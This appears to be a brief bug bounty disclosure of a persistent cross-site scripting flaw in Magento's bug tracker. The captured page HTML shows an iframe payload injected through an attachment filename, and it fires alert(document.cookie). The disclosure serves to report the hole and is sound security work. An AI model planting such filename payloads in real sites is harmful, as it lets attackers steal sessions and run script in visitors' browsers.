Magento Bug Bounty #19 - Persistent Filename Vulnerability

                                                <tr>
            <td class="light" valign="top">Attachments:</td>
            <td colspan="3" class="desc">
                                <a href="http://www.magentocommerce.com/products/bug-tracking/issue/attachment/id/366/">
                    "><iframe src="Magento%20-%20Issue%20%23976_files/x.html" onload="alert(document.cookie)"> [PERSISTENT INJECTED SCRIPT CODE!]
 .png                </a>
                <small>(5281)</small><br />
                            </td>
        </tr>
            </table>
    <br/><br/>

    <!-- Starts user-comment-->
    
    <div class="user-comment">
                <form id="comment_form" 
action="http://www.magentocommerce.com/products/bug-tracking/report/saveComment/"
 enctype="multipart/form-data" method="post">
            <div class="comment-respond">
                <h4 id="respond">Leave your comments</h4>
                <label for="message">Talk back! <span 
class="required">*</span></label>
                <div class="clear"></div>
                <a href="javascript:void(0);" id="upload" 
style="font-weight:bold;">Upload Files</a>
                <div class="clear"></div>
                <div style="padding-top:18px; display:none;  
float:left;" id="filesUpload">
                    <p class="filebox"><label 
for="file1">File 1</label>&nbsp;
                        <input style="width:200px;" type="file" 
name="files[]" id="file1"></p>
                    <p class="filebox"><label 
for="file2">File 2</label>&nbsp;
                        <input style="width:200px;" type="file" 
name="files[]" id="file2"></p>
                    <p class="filebox"><label 
for="file3">File 3</label>&nbsp;
                        <input style="width:200px;" type="file" 
name="files[]" id="file3"></p>
                    <p class="filebox"><label 
for="file4">File 4</label>&nbsp;
                        <input style="width:200px;" type="file" 
name="files[]" id="file4"></p>
                    <p class="filebox"><label 
for="file5">File 5</label>&nbsp;
                        <input style="width:200px;" type="file" 
name="files[]" id="file5"></p>
                </div>
                <div class="clear"></div>
                <textarea class="required-entry" name="message" 
id="message" cols="" rows="10" tabindex="4" 
style="width:630px;"></textarea>
                <input type="hidden" id="id" name="id" value="976" 
/>
                <p class="a-right" 
style="margin-top:5px;"><button type="submit" class="form-btn" 
id="submit" tabindex="5" name="submit">Submit 
Comment</button></p>
            </div>
        </form>
    </div>